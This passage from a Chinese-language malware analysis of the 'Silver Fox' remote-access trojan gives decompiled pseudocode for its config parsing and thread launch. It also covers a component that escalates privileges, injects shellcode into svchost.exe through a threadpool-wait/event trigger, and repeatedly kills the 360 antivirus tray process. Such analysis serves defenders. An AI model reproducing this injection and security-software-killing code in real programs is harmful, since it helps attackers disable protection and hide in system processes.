((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"bz:", 0);
v4 = 0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = (wchar_t *)v1;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"jp:", &unk_35F4318);
v4 = 0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = (wchar_t *)v1;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"sx:", &unk_35F431C);
v4 = 0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = (wchar_t *)v1;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"bh:", &unk_35F4320);
v4 = 0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = (wchar_t *)v1;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"ll:", &unk_35F4324);
v4 = 0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = (wchar_t *)v1;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"dl:", &dword_35F4328);
v4 = 0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = (wchar_t *)v1;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"sh:", &unk_35F432C);
v4 = 0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = (wchar_t *)v1;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, int *))unk_35D2740)(L"kl:", &dword_35F4330);
v4 = &unk_35F4D56;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"p4:", 0);
v4 = &unk_35F4F54;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = &a1Js04t14364o21[1];
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"o4:", 0);
v4 = 0;
v3 = 7;
v2 = 0;
LOWORD(v1[0]) = 0;
v5 = (wchar_t *)v1;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
((void (__fastcall *)(const wchar_t *, void *))unk_35D2740)(L"t4:", &unk_35F4F90);
v4 = &unk_35F4F94;
v3 = 7;
v2 = 0;
v5 = (wchar_t *)v1;
LOWORD(v1[0]) = 0;
wcslen(a1Js04t14364o21);
((void (__cdecl *)(_DWORD))unk_35D3AC0)(v1[0]);
return ((int (__fastcall *)(const wchar_t *, _DWORD))unk_35D2740)(L"sj:", 0);
}
return result;
}
解析出银狐远控的配置信息
创建线程执行远控。
int sub_35D3710()
{
if ( !dword_35F4FD4 )
{
sub_35D29A0();
dword_35F4FD4 = ((int (__stdcall *)(_DWORD, _DWORD, void (__noreturn *)(), _DWORD, _DWORD, _DWORD))kernel32_CreateThread)(
0,
0,
sub_35D3140,
0,
0,
0);
((void (__stdcall *)(_DWORD, _DWORD, void (__noreturn *)(), _DWORD, _DWORD, _DWORD))kernel32_CreateThread)(
0,
0,
sub_35D3460,
0,
0,
0);
((void (__stdcall *)(int, int))kernel32_WaitForSingleObject)(dword_35F4FD4, -1);
((void (__stdcall *)(int))kernel32_CloseHandle)(dword_35F4FD4);
}
return 0;
}
后面就是与服务端执行通信进行远控了,这里就不详细分析了
2.3 强杀360程序分析
基于2.2.5所提到远程下载的样本project.exe进行分析
拖入ida中,发现它并未去除pdb
2.3.1 执行流程
2.3.2 提权
RtlAdjustPrivilege(20, 1, 0, &WasEnabled);
提升到SE_DEBUG_PRIVILEGE
特权
SE_DEBUG_PRIVILEGE
(20):允许调试其他进程。
SE_SHUTDOWN_PRIVILEGE
(19):允许关闭系统。
SE_TAKE_OWNERSHIP_PRIVILEGE
(9):允许取得对象的所有权。
2.3.3 查找注入进程
遍历进程查找svchost.exe
2.3.4 复制句柄
复制句柄
2.3.5 注入
分配空间并写入进程
v23 = VirtualAllocEx(v11, 0i64, 0x8F6ui64, 0x3000u, 0x40u);
WriteProcessMemory(v11, v23, &unk_7FF648BE6C70, 0x8F6ui64, 0i64);
注入的shellcode大致如下,简单一个遍历进程并关闭360
__int64 __fastcall sub_7FF648BE6FF0(_QWORD *a1)
{
__int64 result;
char v2[8];
char v3[16];
char v4[16];
char v5[16];
char v6[16];
char v7[16];
char v8[24];
char v9[40];
*a1 = sub_7FF648BE6F60();
strcpy(v4, "CloseHandle");
strcpy(v9, "CreateToolhelp32Snapshot");
strcpy(v7, "Process32First");
strcpy(v6, "Process32Next");
strcpy(v5, "OpenProcess");
strcpy(v8, "TerminateProcess");
strcpy(v3, "lstrcmpiA");
strcpy(v2, "Sleep");
a1[1] = sub_7FF648BE6E30(*a1, v4);
a1[2] = sub_7FF648BE6E30(*a1, v9);
a1[3] = sub_7FF648BE6E30(*a1, v7);
a1[4] = sub_7FF648BE6E30(*a1, v6);
a1[5] = sub_7FF648BE6E30(*a1, v5);
a1[6] = sub_7FF648BE6E30(*a1, v8);
a1[7] = sub_7FF648BE6E30(*a1, v3);
result = sub_7FF648BE6E30(*a1, v2);
a1[8] = result;
return result;
}
__int64 sub_7FF648BE6C70()
{
__int64 result;
char v1[16];
char v2[16];
__int64 v3;
__int64 v4;
__int64 v5;
char v6[8];
void (__fastcall *v7)(__int64);
__int64 (__fastcall *v8)(__int64, _QWORD);
unsigned int (__fastcall *v9)(__int64, int *);
unsigned int (__fastcall *v10)(__int64, int *);
__int64 (__fastcall *v11)(__int64, _QWORD, _QWORD);
void (__fastcall *v12)(__int64, _QWORD);
unsigned int (__fastcall *v13)(char *, char *);
void (__fastcall *v14)(__int64);
int v15;
unsigned int v16;
char v17[268];
sub_7FF648BE6FF0(v6);
strcpy(v1, "360tray.exe");
strcpy(v2, "360Tray.exe");
while ( 1 )
{
result = v8(2i64, 0i64);
v3 = result;
if ( result == -1 )
return result;
v15 = 304;
if ( v9(v3, &v15) )
{
while ( 1 )
{
if ( !v13(v17, v1) )
{
v4 = v11(1i64, 0i64, v16);
if ( v4 )
{
v12(v4, 0i64);
v7(v4);
}
goto LABEL_13;
}
if ( !v13(v17, v2) )
break;
if ( !v10(v3, &v15) )
goto LABEL_13;
}
v5 = v11(1i64, 0i64, v16);
if ( v5 )
{
v12(v5, 0i64);
v7(v5);
}
}
LABEL_13:
v7(v3);
v14(100i64);
}
}
创建一个线程池等待对象,并将其写入进程
ThreadpoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)v23, 0i64, 0i64);
v25 = VirtualAllocEx(v11, 0i64, 0x1D8ui64, 0x3000u, 4u);
WriteProcessMemory(v11, v25, ThreadpoolWait, 0x1D8ui64, 0i64);
v26 = VirtualAllocEx(v11, 0i64, 0x48ui64, 0x3000u, 4u);
WriteProcessMemory(v11, v26, (char *)ThreadpoolWait + 392, 0x48ui64, 0i64);
创建事件,并将事件与等待对象关联,事件设置之后就会执行shellcode
EventW = CreateEventW(0i64, 0, 0, L"asdEvent");
((void (__fastcall *)(_QWORD, __int64, HANDLE, void *, void *))ZwAssociateWaitCompletionPacket)(
*((_QWORD *)ThreadpoolWait + 46),
qword_7FF648BE9CB8,
EventW,
v26,
v25);
SetEvent(EventW);
2.3.6 强关360
动态加载函数然后强关360
3. 病毒分析概览
该病毒通过多层次的加载机制和复杂的内存操作,实现了远程控制、反检测和强制关闭安全软件等功能。其执行流程包括远程加载 shellcode、反射加载 DLL、自解密、提权操作,以及利用动态 API 调用实现代码注入和系统操作。同时,病毒设置自身为系统关键进程,以蓝屏保护机制防止被终止,并通过与远程服务器持续通信,执行数据窃取和控制命令。整体攻击流程展现出极高的隐蔽性和破坏性。